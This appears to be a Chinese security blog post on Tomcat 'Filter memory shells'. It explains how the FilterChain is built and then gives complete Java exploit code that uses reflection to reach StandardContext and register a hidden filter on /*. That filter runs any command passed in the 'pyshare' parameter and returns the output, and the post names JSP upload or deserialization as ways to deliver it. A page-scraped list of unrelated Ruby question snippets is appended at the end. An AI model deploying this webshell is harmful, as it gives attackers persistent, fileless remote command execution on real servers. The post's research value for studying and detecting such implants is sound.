jjzjj

Filter内存马

White_Room 2023-03-28 原文

Filter内存马

0x01Filter机制分析

  • 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
  • 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
  • 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能

我们创建一个Filter来进行动态调试

public class Filterdemo1 implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("构造初始化完成");

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行了过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("执行了销毁操作");
    }
}

在filterChain.doFilter(servletRequest,servletResponse);设置断点

步入后是执行doFilter方法继续步进

这个时候直接跳到了最后

继续步入,发现这个时候我们有个叫做filters的属性,然后里面有两个对象一个是我们自己创建的filterdemo另一个是一个叫tomcat websocket filter的对象,可以从名字中看出来tomcat会自动创建一个filter

看后面有个变量filters

追进去随后出来发现我们拿到的第一个filter使我们的filter继续往下走

随后调用了doFilter方法

继续往下走随后又回到了开始的地方

这个时候pos就等于2了代表我们拿到就是Tomcat WebScoket

步入到后面就调用了servlet的service方法

总体来说

执行的顺序就是那个filter链子然后tomcat会自动的再后面调用Tomcat自带的filter就会调用到serlvet

0x02Filter写马分析

​ 分析之前先确定一下我们的目的我们的目的是写一个filter马,所以要去搞定怎么用我们传入的参数去创建一个filter

0x1创建filter

这些invoke是执行函数我们在最远的地方设置一个断点然后一步往前走发现,

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。然后就网上一直调用

这里用个师傅的图:

随后我们看dofilter是怎么调用的

看到我们的FilterChain是怎么创建的

在这里是先判断了 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。看后面的构造

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过,然后通过一系列的匹配把它加入到StandardContext.filterConfigs随后调用findFilterConfig把这个数据加入到filter链里面去

0x2构造分析

流程很清晰,Tomcat会通过invoke方法创建一个filterchain然后doFilter() —-> internalDoFilter() —-> doFilter()这样执行一个doFilter判断一次,最后一个会跳到servlet.service(),

然后filter的创建思路是

我们攻击的思路就是 createFilterChain() 这个方法会判断filterMaps是否为空,如果是空的话回去StandardContext寻找并且返回一个FilterMap数组,遍历StandardContext.filterMaps得到filter与URL的映射关系然后用matchDispatcher()``matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象

这样说下来就是我们要解决两个点一个是filtermaps,和filterconfigs都要加入我们构造的filter

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签,对应的是名字和映射路径,然后就是想办法给它加数据了

然后在类StandardContext 里面有这两个方法可以直接加进去这个数据

这里的改filtermaps就是更改webxml里面的配置看一下

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

filterMaps变量:包含所有过滤器的URL映射关系 

filterDefs变量:包含所有过滤器包括实例内部等变量 

filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

存在的包含关系

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

0x03exp构造

这里我怎么去动态的写入马呢

  • 先去获取StandardContext

    • 获取filterConfigs
  • 构造恶意的filter

    • 构造一个filterDef
    • FilterMaps对象
  • 然后把filter,filterDef,FilterMaps都传入到filterConfigs中

    0x1获取StandrdContext

    ServletContext servletContext = req.getServletContext();
                ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
                Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
                applicationContextField.setAccessible(true);
                ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
                Field field = ApplicationContext.class.getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = null;
                standardContext = (StandardContext) field.get(applicationContext);
                Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
                filterConfigs.setAccessible(true);
                Map configs = (Map) filterConfigs.get(standardContext);
    

    解释一下:在tomcat中ServletContext的实现是ApplicationContext。在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,。

    拿的顺序就是ServletContext----ApplicationContextFacade------ApplicationContext-----StandardContext-----filterConfigs

    0x2写马

    写马,在dofilter中写

     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
                            String cmd;
                            if ((cmd = servletRequest.getParameter("pyshare")) != null) {
                                Process process = Runtime.getRuntime().exec(cmd);
                                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                                        new java.io.InputStreamReader(process.getInputStream()));
                                StringBuilder stringBuilder = new StringBuilder();
                                String line;
                                while ((line = bufferedReader.readLine()) != null) {
                                    stringBuilder.append(line + '\n');
                                }
                                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                                servletResponse.getOutputStream().flush();
                                servletResponse.getOutputStream().close();
                                return;
                            }
            
    
                        }
    
    

    反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去

    FilterDef filterDef = new FilterDef();
                    filterDef.setFilter(filter);
                    filterDef.setFilterName(name);
                    filterDef.setFilterClass(filter.getClass().getName());
    
                    standardContext.addFilterDef(filterDef);
    
                    FilterMap filterMap = new FilterMap();
                    filterMap.setFilterName(name);
                    filterMap.setDispatcher(DispatcherType.REQUEST.name());
                    filterMap.addURLPattern("/*");
                    /**
                     * 将filtermap 添加到 filterMaps 中的第一个位置
                     */
                    standardContext.addFilterMapBefore(filterMap);
    
                    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                    constructor.setAccessible(true);
                    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                    configs.put(name,filterConfig);
    

    0x3完整exp

public class filtershell2 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            doGet(req,resp);



    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            ServletContext servletContext = req.getServletContext();
            ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
            Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
            applicationContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
            Field field = ApplicationContext.class.getDeclaredField("context");
            field.setAccessible(true);
            StandardContext standardContext = null;
            standardContext = (StandardContext) field.get(applicationContext);
            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map configs = (Map) filterConfigs.get(standardContext);
            String name ="white_romm";
            if (configs.get(name)==null){
                Filter filter=new Filter(){
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
                    }
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
                        String cmd;
                        if ((cmd = servletRequest.getParameter("pyshare")) != null) {
                            Process process = Runtime.getRuntime().exec(cmd);
                            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                                    new java.io.InputStreamReader(process.getInputStream()));
                            StringBuilder stringBuilder = new StringBuilder();
                            String line;
                            while ((line = bufferedReader.readLine()) != null) {
                                stringBuilder.append(line + '\n');
                            }
                            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                            servletResponse.getOutputStream().flush();
                            servletResponse.getOutputStream().close();
                            return;
                        }
                    }

                    @Override
                    public void destroy() {

                    }
                };
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());

                standardContext.addFilterDef(filterDef);

                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                filterMap.addURLPattern("/*");
                /**
                 * 将filtermap 添加到 filterMaps 中的第一个位置
                 */
                standardContext.addFilterMapBefore(filterMap);

                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
                configs.put(name,filterConfig);



            }
        } catch (IllegalAccessException | NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        }
    }
}

把这个对象打进tomcat然后访问一下我们的servlet的路径shell之后无论在那个路径使用马子都可以pyshare

0x04小结

总结下来就是要去获取StandardContext,然后利用反射的原理往里面注入一个Servlet,表现形式为 Filter。具体的实施可以是上传 .jsp 文件,也可以反序列化注入对象,比如说我们的cc11就可用加载字节码文件把他写到静态代码块中。

有关Filter内存马的更多相关文章

  1. ruby-on-rails - Ruby net/ldap 模块中的内存泄漏 - 2

    作为我的Rails应用程序的一部分,我编写了一个小导入程序,它从我们的LDAP系统中吸取数据并将其塞入一个用户表中。不幸的是,与LDAP相关的代码在遍历我们的32K用户时泄漏了大量内存,我一直无法弄清楚如何解决这个问题。这个问题似乎在某种程度上与LDAP库有关,因为当我删除对LDAP内容的调用时,内存使用情况会很好地稳定下来。此外,不断增加的对象是Net::BER::BerIdentifiedString和Net::BER::BerIdentifiedArray,它们都是LDAP库的一部分。当我运行导入时,内存使用量最终达到超过1GB的峰值。如果问题存在,我需要找到一些方法来更正我的代

  2. ruby-on-rails - Ruby 中的内存模型 - 2

    ruby如何管理内存。例如:如果我们在执行过程中采用C程序,则以下是内存模型。类似于这个ruby如何处理内存。C:__________________|||stack|||------------------||||------------------|||||Heap|||||__________________|||data|__________________|text|__________________Ruby:? 最佳答案 Ruby中没有“内存”这样的东西。Class#allocate分配一个对象并返回该对象。这就是程序

  3. ruby-on-rails - before_filter 运行多个方法 - 2

    是否有可能:before_filter:authenticate_user!||:authenticate_admin! 最佳答案 before_filter:do_authenticationdefdo_authenticationauthenticate_user!||authenticate_admin!end 关于ruby-on-rails-before_filter运行多个方法,我们在StackOverflow上找到一个类似的问题: https://

  4. 键删除后 ruby​​ 哈希内存泄漏 - 2

    你好,我无法成功如何在散列中删除key后释放内存。当我从哈希中删除键时,内存不会释放,也不会在手动调用GC.start后释放。当从Hash中删除键并且这些对象在某处泄漏时,这是预期的行为还是GC不释放内存?如何在Ruby中删除Hash中的键并在内存中取消分配它?例子:irb(main):001:0>`ps-orss=-p#{Process.pid}`.to_i=>4748irb(main):002:0>a={}=>{}irb(main):003:0>1000000.times{|i|a[i]="test#{i}"}=>1000000irb(main):004:0>`ps-orss=-p

  5. ruby-on-rails - HTTParty 的内存问题和下载大文件 - 2

    这会导致Ruby出现内存问题吗?我知道如果大小超过10KB,Open-URI会写入TempFile。但是HTTParty会在写入TempFile之前尝试将整个PDF保存到内存吗?src=Tempfile.new("file.pdf")src.binmodesrc.writeHTTParty.get("large_file.pdf").parsed_response 最佳答案 您可以使用Net::HTTP。参见thedocumentation(特别是标题为“流媒体响应机构”的部分)。这是文档中的示例:uri=URI('http://e

  6. ruby-on-rails - 内存中具有相同 ID 的更多对象? - 2

    在部署在heroku上的Rails应用程序(v:3.1)中,我在内存中获得了更多具有相同ID的对象。我的heroku控制台日志:>>Project.find_all_by_id(92).size=>2>>ActiveRecord::Base.connection.execute('select*fromprojectswhereid=92').to_a.size=>1这怎么可能?可能是什么问题? 最佳答案 解决方案根据您的SQL查询,您的数据库中显然没有重复条目。也许您的类项目中的size或length方法已被覆盖。我试过find_

  7. ruby - rails 3.0.7 内存泄漏 - 2

    我的两个不同的Rails应用程序的内存有一些奇怪的问题。这两个应用程序都使用rails3.0.7。每个Controller请求分配20-30-50MB的内存。在生产模式下,这个数量减少到5-10。但这是同样的事情。这是两个应用程序使用的gem列表:gem'pg'gem'haml'gem'sass'gem'devise'gem'simple_form'gem'state_machine'gem"globalize3","0.1.0.beta"gem"easy_globalize3_accessors"gem'paperclip'gem'andand'关闭所有这些gem不会给我任何结果。我

  8. ruby - 如何强制 Ruby 释放内存给操作系统 - 2

    正如标题,我有一个处理大量数据的ruby​​程序。该程序占用了所有内存,其中调用了系统命令hostname,并且发生错误无法分配内存-主机名我试过GC.start但它不起作用。那么如何强制ruby释放未使用的内存呢?OK,这是别人的测试代码,最后报错是big_var被回收了。但是内存仍然没有释放。require"weakref"defreportputs"#{param}:\t\tMemory"+`psax-opid,rss|grep-E"^[[:space:]]*#{$$}"`.strip.split.map(&:to_i)[1].to_s+'KB'endbig_var=""#big

  9. ruby - 如何在 Ruby 中从内存中 HTTP 发布流数据? - 2

    我想上传我在运行时用Ruby生成的数据,就像从block中提供上传数据一样。我找到的所有示例仅展示了如何流式传输必须在请求之前位于磁盘上的文件,但我不想缓冲该文件。除了滚动我自己的套接字连接之外,最好的解决方案是什么?这是一个伪代码示例:post_stream('127.0.0.1','/stream/')do|body|generate_xmldo|segment|body 最佳答案 有效的代码。require'thread'require'net/http'require'base64'require'openssl'class

  10. ruby-on-rails - Rails 查询 : Filter by properties in another table - 2

    我正在寻找一个清晰的Rails4示例,说明如何根据通过另一个表关联的数据过滤记录。假设我有一个用户模型和一个评论模型。一个用户has_many评论,一个Commentbelongs_to一个用户。评论在其表中也有一个score列。classUserUsers|id|name|email||-----|---------|---------------------||1|"Alice"|"alice@example.com"||2|"Bob"|"bob@example.com"||...|classComment我如何获得所有对内容“k”发表评论且分数>0的用户?请注意,我要返回的是用户

随机推荐